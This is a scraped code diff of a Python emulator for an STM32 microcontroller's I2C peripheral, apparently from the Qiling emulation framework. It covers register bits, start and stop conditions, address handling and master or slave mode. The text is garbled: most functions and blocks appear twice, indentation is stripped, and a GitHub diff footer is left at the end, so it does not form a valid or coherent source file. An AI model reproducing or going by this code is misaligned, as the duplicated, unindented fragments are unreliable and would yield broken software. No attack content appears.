MASTER_IT = I2C_SR1.SB|I2C_SR1.ADDR|I2C_SR1.ADD10|I2C_SR1.BTF
BUF_IT = I2C_SR1.TXE|I2C_SR1.RXNE
SLAVE_IT = I2C_SR1.STOPF|I2C_SR1.ADDR|I2C_SR1.BTF
MASTER_IT = I2C_SR1.SB|I2C_SR1.ADDR|I2C_SR1.ADD10|I2C_SR1.BTF
if (self.instance.CR2 & I2C_CR2.ITBUFEN and self.instance.SR1 & BUF_IT) or \
(self.is_slave_mode() and self.instance.SR1 & SLAVE_IT) or \
(self.is_master_mode() and self.instance.SR1 & MASTER_IT):
self.ql.hw.nvic.set_pending(self.ev_intn)
if (self.instance.CR2 & I2C_CR2.ITBUFEN and self.instance.SR1 & BUF_IT) or \
(self.is_slave_mode() and self.instance.SR1 & SLAVE_IT) or \
(self.is_master_mode() and self.instance.SR1 & MASTER_IT):
self.ql.hw.nvic.set_pending(self.ev_intn)
## I2C Status register 1 (I2C_SR1)
def generate_start(self):
"""
SB: Start bit (Master mode)
0: No Start condition
1: Start condition generated.
- Set when a Start condition generated.
- Cleared by software by reading the SR1 register followed by writing the DR register, or by hardware when PE=0
"""
## I2C Status register 1 (I2C_SR1)
def generate_start(self):
"""
SB: Start bit (Master mode)
0: No Start condition
1: Start condition generated.
- Set when a Start condition generated.
- Cleared by software by reading the SR1 register followed by writing the DR register, or by hardware when PE=0
"""
# TODO: generate a start condition
self.fetch_device_address()
self.instance.SR1 |= I2C_SR1.SB
self.instance.CR1 &= ~I2C_CR1.START
# TODO: generate a start condition
self.fetch_device_address()
self.instance.SR1 |= I2C_SR1.SB
self.instance.CR1 &= ~I2C_CR1.START
self.set_master_mode()
self.set_master_mode()
def generate_stop(self):
# TODO: generate a stop condition
self.instance.CR1 &= ~I2C_CR1.STOP
self.instance.SR1 |= I2C_SR1.STOPF
self.instance.SR1 &= ~I2C_SR1.ADDR
self.set_slave_mode()
self.instance.SR2 &= ~I2C_SR2.TRA
def send_address(self):
if self.instance.DR == self.instance.OAR1 >> 1:
# TODO: send ACK
self.instance.SR1 &= ~I2C_SR1.SB
self.instance.SR1 |= I2C_SR1.ADDR | I2C_SR1.TXE | I2C_SR1.AF
self.instance.SR2 |= I2C_SR2.TRA
def generate_stop(self):
# TODO: generate a stop condition
self.instance.CR1 &= ~I2C_CR1.STOP
self.instance.SR1 |= I2C_SR1.STOPF
self.instance.SR1 &= ~I2C_SR1.ADDR
self.set_slave_mode()
self.instance.SR2 &= ~I2C_SR2.TRA
def send_address(self):
if self.instance.DR == self.instance.OAR1 >> 1:
# TODO: send ACK
self.instance.SR1 &= ~I2C_SR1.SB
self.instance.SR1 |= I2C_SR1.ADDR | I2C_SR1.TXE | I2C_SR1.AF
self.instance.SR2 |= I2C_SR2.TRA
def send_data(self):
self.instance.SR1 |= I2C_SR1.BTF | I2C_SR1.TXE
def send_data(self):
self.instance.SR1 |= I2C_SR1.BTF | I2C_SR1.TXE
self.send_to_user(self.instance.DR)
self.send_to_user(self.instance.DR)
## I2C Status register 2 (I2C_SR2)
def is_master_mode(self):
"""
I2C Status register 2 (I2C_SR2) MSL bit
0: Slave Mode
1: Master Mode
"""
return self.instance.SR2 & I2C_SR2.MSL
## I2C Status register 2 (I2C_SR2)
def is_master_mode(self):
"""
I2C Status register 2 (I2C_SR2) MSL bit
0: Slave Mode
1: Master Mode
"""
return self.instance.SR2 & I2C_SR2.MSL
def is_slave_mode(self):
return not self.is_master_mode()
def is_slave_mode(self):
return not self.is_master_mode()
def set_master_mode(self):
"""
I2C Status register 2 (I2C_SR2) MSL bit
- Set by hardware as soon as the interface is in Master mode (SB=1)
"""
self.instance.SR2 |= I2C_SR2.MSL
def set_slave_mode(self):
"""
I2C Status register 2 (I2C_SR2) MSL bit
- Cleared by hardware after detecting a Stop condition on the bus
or a loss of arbitration (ARLO=1), or by hardware when PE=0.
"""
self.instance.SR2 &= ~I2C_SR2.MSL
def set_master_mode(self):
"""
I2C Status register 2 (I2C_SR2) MSL bit
- Set by hardware as soon as the interface is in Master mode (SB=1)
"""
self.instance.SR2 |= I2C_SR2.MSL
def set_slave_mode(self):
"""
I2C Status register 2 (I2C_SR2) MSL bit
- Cleared by hardware after detecting a Stop condition on the bus
or a loss of arbitration (ARLO=1), or by hardware when PE=0.
"""
self.instance.SR2 &= ~I2C_SR2.MSL
## I2C Own address register 1 (I2C_OAR1)
def is_7bit_mode(self):
return self.instance.OAR2 & I2C_OAR2.ENDUAL or not self.instance.OAR1 & I2C_OAR1.ADDMODE
## I2C Own address register 1 (I2C_OAR1)
def is_7bit_mode(self):
return self.instance.OAR2 & I2C_OAR2.ENDUAL or not self.instance.OAR1 & I2C_OAR1.ADDMODE
def fetch_device_address(self):
# dual addressing mode
if self.instance.OAR2 & I2C_OAR2.ENDUAL:
self.instance.OAR1 = self.device_list[0].address << 1
self.instance.OAR2 = I2C_OAR2.ENDUAL | (self.device_list[1].address << 1)
def fetch_device_address(self):
# dual addressing mode
if self.instance.OAR2 & I2C_OAR2.ENDUAL:
self.instance.OAR1 = self.device_list[0].address << 1
self.instance.OAR2 = I2C_OAR2.ENDUAL | (self.device_list[1].address << 1)
# single device, 10-bit slave address
elif self.instance.OAR1 & I2C_OAR1.ADDMODE:
self.instance.OAR1 = I2C_OAR1.ADDMODE | self.device_list[0].address
# single device, 7-bit slave address
else:
self.instance.OAR1 = self.device_list[0].address << 1
# single device, 10-bit slave address
elif self.instance.OAR1 & I2C_OAR1.ADDMODE:
self.instance.OAR1 = I2C_OAR1.ADDMODE | self.device_list[0].address
# single device, 7-bit slave address
else:
self.instance.OAR1 = self.device_list[0].address << 1
@QlConnectivityPeripheral.device_handler
def step(self):
self.send_event_interrupt()
@QlConnectivityPeripheral.device_handler
def step(self):
self.send_event_interrupt()

Some files were not shown because too many files have changed in this diff Show More